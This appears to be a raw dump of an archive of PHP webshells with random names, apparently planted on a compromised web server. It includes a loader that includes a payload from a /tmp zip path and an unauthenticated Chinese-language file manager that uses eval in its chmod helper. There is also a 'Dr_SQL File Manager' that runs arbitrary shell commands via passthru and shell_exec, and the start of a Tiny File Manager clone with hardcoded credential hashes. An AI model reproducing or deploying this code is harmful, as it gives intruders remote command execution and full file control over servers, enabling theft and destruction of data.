while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
PK �em\e8bh h index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "gold.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �em\�(C$�* �* nbixv.phpnu �[��� <?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
$current_dir=$dir==''?$wwwroot:$dir;
$current_dir=rtrim($current_dir,'/');
$current_dir_nav='';
$dir_path='';
$current_dir_split=explode('/',$current_dir);
foreach( $current_dir_split as $dir )
{
$dir_path.=$dir.'/';
$current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
}
$dir_rows='';
$file_rows='';
$current_dir_list=sCaNDir($current_dir);
$row_id=0;
foreach( $current_dir_list as $target_name )
{
if ( $target_name=='.' || $target_name=='..' ) continue;
$target=$current_dir.'/'.$target_name;
$target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
$row_id++;
$target_u_id=fIlEOwNEr($target);
$target_u_att=poSIx_GEtpWUid($target_u_id);
$target_owner=$target_u_att['name'];
$target_perm=get_qx($target);
$target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
if ( is_dir($target) )
{
$dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}else
{
$target_fsize=fILesIzE($target);
$target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
$file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}
}
$div_html='<table cellspacing="10">
<tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a> 当前目录:'.$current_dir_nav.' <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
<tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
'.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
</table>';
}elseif ( $action=='sc' )
{
if ( $file!='' )
{
uNlInk($file); jump_to('?d='.diRNaMe($file));
}elseif( $dir!='' )
{
rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
}
exit;
}elseif( $action=='gm' )
{
$gm=isset($_POST['gm'])?trim($_POST['gm']):'';
if ( $gm!='' )
{
$old_f=$file==''?$dir:$file;
if ( $old_f!='' && file_exists($old_f) )
{
$old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
}
}else
{
show_msg('请输入新名称!','back');
}
exit;
}elseif( $action=='qx' )
{
$target=$dir==''?$file:$dir;
if ( $target!='' )
{
$qx=isset($_POST['qx'])?trim($_POST['qx']):'';
if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
{
set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
}else
{
show_msg('请输入新权限!','back');
}
}
exit;
}elseif( $action=='ck' && $file!='' )
{
if ( fiLEsIze($file)<10000000 )
{
HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
}else
{
show_msg('文件大小超限!','close');
}
exit;
}elseif( $action=='bj' && $file!='' )
{
if ( isset($_POST['f_content']) )
{
FilE_pUt_COnteNts($file,$_POST['f_content']);
md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
}
$f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):'';
$div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存"> <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>';
}elseif( $action=='tj' && $dir!='' )
{
$t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
if ( $t_name=='' )
{
show_msg('请输入项目名称!','back');
}else
{
if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
if ( $_POST['t_type']=='tj_xz' )
{
preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
}
jump_to('?d='.$dir);
}
exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
jump_to('?d='.$dir);
exit;
}
function get_qx($t)
{
$q=substr(sprintf('%o',fILepErMs($t)),-4);
return $q;
}
function set_qx($t,$q)
{
EvAl('cHMoD("'.$t.'",'.$q.');');
if ( get_qx($t)!=$q )
{
$tmp_f=uniqid().'.txt';
$tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
require($tmp_f);
UnLInK($tmp_f);
}
}
function rm_rf($d)
{
if (is_dir($d))
{
$f_l=sCaNDir($d);
foreach ($f_l as $f)
{
if ($f=='.'||$f=='..') continue;
$p=$d.'/'.$f;
is_dir($p)?rm_rf($p):uNliNk($p);
}
rMdIR($d);
}
}
function show_msg($msg,$go)
{
echo '<script>alert("'.$msg.'");</script>';
if ($go=='back') echo '<script>window.history.back();</script>';
if ($go=='close') echo '<script>window.close();</script>';
}
function jump_to($url)
{
echo '<script>window.location.href="'.$url.'";</script>';
}
function down_file($dir,$url)
{
$s_name=array_pop(explode('/',$url));
if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
$ch=CUrl_iNit();
cuRl_seTOpt ($ch, CURLOPT_URL, $url);
cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
$contents = cUrl_eXeC($ch);
cURl_CLosE($ch);
if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
if ( empty($contents) )
{
show_msg('下载出错!','');
}else
{
fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
show_msg('下载完成!','');
}
}
?>
<html>
<head>
<title>芝麻web文件管理</title>
<meta name="robots" content="none">
<meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<style>
a {color:#000000;text-decoration:none;}
a:hover {color:#ff0000;}
.tl:hover {background-color:#eeeeee;}
form {margin:0;}
</style>
<script>
function show_input_box(s,t,f,a,)
{
var span=document.getElementById(s);
if ( span.innerHTML=='' )
{
span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';
}else
{
span.innerHTML='';
}
}
function confirm_sc(t,f)
{
if (f=='d')
{
if ( confirm('确定要删除此目录吗?') )
{
window.location.href='?d='+t+'&a=sc';
}
}
if (f=='f')
{
if ( confirm('确定要删除此文件吗?') )
{
window.location.href='?f='+t+'&a=sc';
}
}
}
</script>
<div>
<h1>芝麻web文件管理V1.00</h1>
<?php echo $div_html;?>
</div>
</body>
</html>PK �em\5��$* * 2pj4h.phpnu �[��� <?php include 'compress.zlib://index.gz'?>PK �em\Q��0, 0, 95r6k.phpnu �[��� <?php
error_reporting(0);
if (isset($_GET['d'])) {
$decoded = urldecode($_GET['d']);
if (is_dir($decoded)) {
@chdir($decoded);
}
}
$me = basename(__FILE__);
$bckC = '#333333';
$txtC = '#999999';
$current_dir = getcwd();
// === Handle Actions ===
if ($_POST['action'] === 'upload' && !empty($_FILES['file']['name'])) {
$name = basename($_FILES['file']['name']);
@move_uploaded_file($_FILES['file']['tmp_name'], $name);
}
if ($_POST['action'] === 'mkdir' && !empty($_POST['name'])) {
@mkdir($_POST['name']);
}
if ($_POST['action'] === 'mkfile' && !empty($_POST['name'])) {
@file_put_contents($_POST['name'], '');
}
if ($_GET['action'] === 'delete_file' && !empty($_GET['path'])) {
@unlink(urldecode($_GET['path']));
}
if ($_GET['action'] === 'delete_dir' && !empty($_GET['path'])) {
@rmdir(urldecode($_GET['path']));
}
if ($_POST['action'] === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) {
@rename($_POST['old'], $_POST['new']);
}
if ($_POST['action'] === 'chmod' && !empty($_POST['path']) && !empty($_POST['mode'])) {
@chmod($_POST['path'], octdec($_POST['mode']));
}
// === Output HTML ===
print <<<HTML
<html>
<head>
<title>Dr_SQL</title>
<style>
body { background: {$bckC}; color: {$txtC}; font: 9pt 'Trebuchet MS', sans-serif; margin: 0; padding: 10px; }
a { color: {$txtC}; text-decoration: none; }
a:hover { color: #79a317; }
.header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }
.breadcrumb { margin: 10px 0; font-size: 10pt; }
.breadcrumb a { color: #79a317; }
.actions { margin: 15px 0; padding: 10px; background: #222; border-radius: 8px; display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; }
.actions form { display: flex; gap: 5px; }
.actions input { background: {$bckC}; color: {$txtC}; border: 1px solid {$txtC}; border-radius: 5px; padding: 3px 6px; }
.actions button { background: #444; color: #79a317; border: 1px solid #555; border-radius: 5px; cursor: pointer; }
table { width: 100%; border-collapse: collapse; margin-top: 10px; }
th, td { padding: 8px 5px; text-align: left; border-bottom: 1px solid #444; }
th { color: #79a317; font-weight: bold; }
tr:hover { background: rgba(121,163,23,0.05); }
.file-icon { width: 16px; margin-right: 5px; }
.perm-writable { color: #ccff00; }
.perm-readable { color: {$txtC}; }
.perm-locked { color: crimson; }
.btn { background: rgba(0,0,0,0.3); color: {$txtC}; border: 1px solid {$txtC}; border-radius: 4px; padding: 2px 6px; margin: 0 2px; text-decoration: none; font-size: 8pt; }
.btn:hover { background: #79a317; color: black; }
.hidden { display: none; }
.popup { background: #222; padding: 10px; border: 1px solid #555; border-radius: 5px; position: absolute; z-index: 10; }
</style>
<script>
function togglePopup(id) {
let el = document.getElementById(id);
el.style.display = el.style.display === 'block' ? 'none' : 'block';
}
function closePopup(id) {
document.getElementById(id).style.display = 'none';
}
</script>
</head>
<body>
HTML;
// === Breadcrumb ===
function getBreadcrumb($path) {
$parts = explode('/', trim(str_replace('\\', '/', $path), '/'));
$build = '';
$curr = '/';
$html = '<a href="?">Root</a>';
foreach ($parts as $part) {
if ($part === '') continue;
$curr = rtrim($curr, '/') . '/' . $part;
$html .= ' / <a href="?d=' . urlencode($curr) . '">' . htmlspecialchars($part) . '</a>';
}
return $html;
}
echo '<div class="header">';
echo '<h2 style="color:#79a317; margin:0;">📠Dr_SQL File Manager</h2>';
echo '<a href="?x=info" style="color:#79a317;">[Info]</a>';
echo '</div>';
echo '<div class="breadcrumb">' . getBreadcrumb($current_dir) . '</div>';
// === Quick Actions ===
$enc_dir = urlencode($current_dir);
echo <<<ACTIONS
<div class="actions">
<form method="POST">
<input type="hidden" name="action" value="mkdir">
<input type="text" name="name" placeholder="New Folder" required>
<button type="submit">📠Create Dir</button>
</form>
<form method="POST">
<input type="hidden" name="action" value="mkfile">
<input type="text" name="name" placeholder="New File" required>
<button type="submit">📄 Create File</button>
</form>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<input type="file" name="file" required>
<button type="submit">â¬†ï¸ Upload</button>
</form>
<form method="POST" action="?x=cmd&d={$enc_dir}">
<input type="text" name="cmd" placeholder="Command" style="width:120px;">
<button type="submit">💻 CMD</button>
</form>
</div>
ACTIONS;
// === File List ===
$items = [];
if ($dh = @opendir('.')) {
while (($f = readdir($dh)) !== false) {
if ($f === '.' || $f === '..') continue;
$items[] = $f;
}
closedir($dh);
natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10)
}
echo '<table>';
echo '<thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Owner/Group</th><th>Actions</th></tr></thead>';
echo '<tbody>';
foreach ($items as $item) {
$path = $current_dir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($item);
$size = $isDir ? '-' : number_format(filesize($item));
$perm = substr(sprintf('%o', fileperms($item)), -4);
$color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked');
// Owner/Group
$owner = $group = '???';
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$o = @posix_getpwuid(@fileowner($item));
$g = @posix_getgrgid(@filegroup($item));
$owner = $o ? $o['name'] : '???';
$group = $g ? $g['name'] : '???';
}
$enc_item = urlencode($item);
$enc_path = urlencode($path);
$edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}";
$name_display = htmlspecialchars($item) . ($isDir ? '/' : '');
echo '<tr>';
echo "<td><a href=\"{$edit_link}\">{$name_display}</a></td>";
echo "<td>{$size}</td>";
echo "<td><span class=\"{$color}\">{$perm}</span></td>";
echo "<td>{$owner}:{$group}</td>";
echo "<td>";
// Actions
if (!$isDir) {
echo "<a href=\"?x=edit&f={$enc_item}\" class=\"btn\">Edit</a>";
}
// Rename Popup
echo " <a href=\"javascript:togglePopup('rename_{$enc_item}')\" class=\"btn\">Rename</a>";
echo "<div id=\"rename_{$enc_item}\" class=\"popup hidden\">";
echo "<form method=\"POST\">";
echo "<input type=\"hidden\" name=\"action\" value=\"rename\">";
echo "<input type=\"hidden\" name=\"old\" value=\"{$item}\">";
echo "<input type=\"text\" name=\"new\" value=\"{$item}\" style=\"width:120px;\">";
echo " <button type=\"submit\">✓</button>";
echo " <button type=\"button\" onclick=\"closePopup('rename_{$enc_item}')\">✕</button>";
echo "</form></div>";
// Chmod Popup
echo " <a href=\"javascript:togglePopup('chmod_{$enc_item}')\" class=\"btn\">Chmod</a>";
echo "<div id=\"chmod_{$enc_item}\" class=\"popup hidden\">";
echo "<form method=\"POST\">";
echo "<input type=\"hidden\" name=\"action\" value=\"chmod\">";
echo "<input type=\"hidden\" name=\"path\" value=\"{$item}\">";
echo "<input type=\"text\" name=\"mode\" value=\"{$perm}\" placeholder=\"755\" style=\"width:60px;\">";
echo " <button type=\"submit\">✓</button>";
echo " <button type=\"button\" onclick=\"closePopup('chmod_{$enc_item}')\">✕</button>";
echo "</form></div>";
// Delete
$del_action = $isDir ? 'delete_dir' : 'delete_file';
echo " <a href=\"?action={$del_action}&path={$enc_path}\" class=\"btn\" onclick=\"return confirm('Delete?')\">Del</a>";
echo "</td></tr>";
}
echo '</tbody></table>';
// === Handle Special Views ===
if ($_GET['x'] === 'edit') {
$file = urldecode($_GET['f']);
if ($_POST['save'] === '1') {
file_put_contents($file, $_POST['content']);
echo '<div style="color:#79a317; margin:10px;">✅ Saved!</div>';
}
$content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
echo '<h3>âœï¸ Editing: ' . htmlspecialchars($file) . '</h3>';
echo '<form method="POST">';
echo '<textarea name="content" style="width:100%; height:400px; background:#222; color:#fff; padding:10px; border:1px solid #555;">' . $content . '</textarea>';
echo '<br><input type="hidden" name="save" value="1">';
echo '<button type="submit" style="margin-top:10px; background:#79a317; color:black; padding:8px 15px; border:none; border-radius:4px;">💾 Save</button>';
echo ' <a href="?" style="color:#79a317;">↠Back</a>';
echo '</form>';
} elseif ($_GET['x'] === 'info') {
// Info panel (same as before)
$moreI = [
'PHP Version' => phpversion(),
'Server Software' => $_SERVER['SERVER_SOFTWARE'],
'Uname' => php_uname(),
'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')',
'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
'Open BaseDir' => ini_get('open_basedir') ?: 'OFF',
'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF',
'Curl' => extension_loaded('curl') ? 'ON' : 'OFF',
'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A',
'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A',
'Your IP' => $_SERVER['REMOTE_ADDR'],
'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A'
];
echo '<h3>â„¹ï¸ System Info</h3><table style="width:100%; background:#222; padding:10px;">';
foreach ($moreI as $k => $v) {
echo "<tr><td>{$k}</td><td>: {$v}</td></tr>";
}
echo '</table><br><a href="?" style="color:#79a317;">↠Back</a>';
} elseif ($_GET['x'] === 'cmd') {
if ($_POST['cmd']) {
echo '<pre style="background:#000; color:#0f0; padding:10px; border-radius:5px;">';
if (function_exists('passthru')) {
@passthru($_POST['cmd']);
} elseif (function_exists('shell_exec')) {
echo @shell_exec($_POST['cmd']);
} else {
echo "Command execution not available.";
}
echo '</pre>';
}
echo '<h3>💻 Command Executor</h3>';
echo '<form method="POST"><input type="text" name="cmd" style="width:50%; background:#222; color:#fff; padding:5px;" placeholder="ls -la">';
echo '<button type="submit">Run</button></form>';
echo '<br><a href="?" style="color:#79a317;">↠Back</a>';
}
print '</body></html>';
?>PK �em\�dz�1� 1� q1gfm.phpnu �[��� <?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'spathe');
$dauth = false;
$auth_users = array(
'admin' => '4b605e78436204f87ad0daf2e1bef329',
'user' => '4b605e78436204f87ad0daf2e1bef329'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
